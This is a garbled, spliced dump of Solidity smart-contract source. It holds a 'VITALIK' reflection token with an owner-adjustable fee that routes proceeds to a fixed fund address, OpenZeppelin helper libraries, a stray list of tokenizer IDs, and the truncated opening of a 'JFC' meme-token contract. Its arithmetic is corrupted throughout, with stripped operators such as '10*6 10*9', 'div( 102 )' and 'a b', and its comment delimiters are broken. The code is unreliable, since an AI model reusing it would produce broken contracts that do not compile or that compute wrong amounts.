swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract VITALIK is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10*6 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "VITALIK"; string private _symbol = "VITALIK"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 3; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address payable public fundAddress = 0x17Eb799bE3035Ae18B42e89a3DF157a58a0D6F68; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 10*6 10*9; uint256 private numTokensSellToAddToLiquidity = 500000 10*6 109; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setNumTokensSellToAddToLiquidity(uint256 newNumTokensSellToAddToLiquidity) external onlyOwner() { numTokensSellToAddToLiquidity = newNumTokensSellToAddToLiquidity; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setFundAddress(address payable newFundAddress) external onlyOwner() { fundAddress = newFundAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 102 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 102 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 oneSixth = contractTokenBalance.div(6); uint256 fiveSixths = oneSixth.mul(5); uint256 remainingSixth = contractTokenBalance.sub(fiveSixths); uint256 initialBalance = address(this).balance; swapTokensForEth(fiveSixths); uint256 newBalance = address(this).balance.sub(initialBalance); uint256 liquidityToAdd = newBalance.div(5); addLiquidity(remainingSixth, liquidityToAdd); fundAddress.transfer(address(this).balance); emit SwapAndLiquify(fiveSixths, newBalance, remainingSixth); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 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/** Submitted for verification at Etherscan.io on 2021-11-02 / /** Telegram: https://t.me/JFC_ETH JFC this shit mooned ! ░░░▒█ ▒█▀▀▀ ▒█▀▀█ ░▄░▒█ ▒█▀▀▀ ▒█░░░ ▒█▄▄█ ▒█░░░ ▒█▄▄█ / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function ContractCreator() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } contract JFC is IERC20, Ownable { using Address for address; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "JFC"; string constant _symbol = "JFC"; uint8 constant _decimals = 9; uint256 _totalSupply = 1_000_000_000 (10 ** _decimals); uint256 _maxBuyTxAmount = (_totalSupply * 1) / 100; uint256 _maxSellTxAmount = (_totalSupply * 1) / 200; uint256 _maxWalletSize = (_totalSupply * 2) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => uint256) public lastSell; mapping (address => uint256) public lastBuy; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) liquidityCreator; uint256 marketingFee = 600; uint256 liquidityFee = 500; uint256 totalFee = marketingFee + liquidityFee; uint256 sellBias = 0; uint256 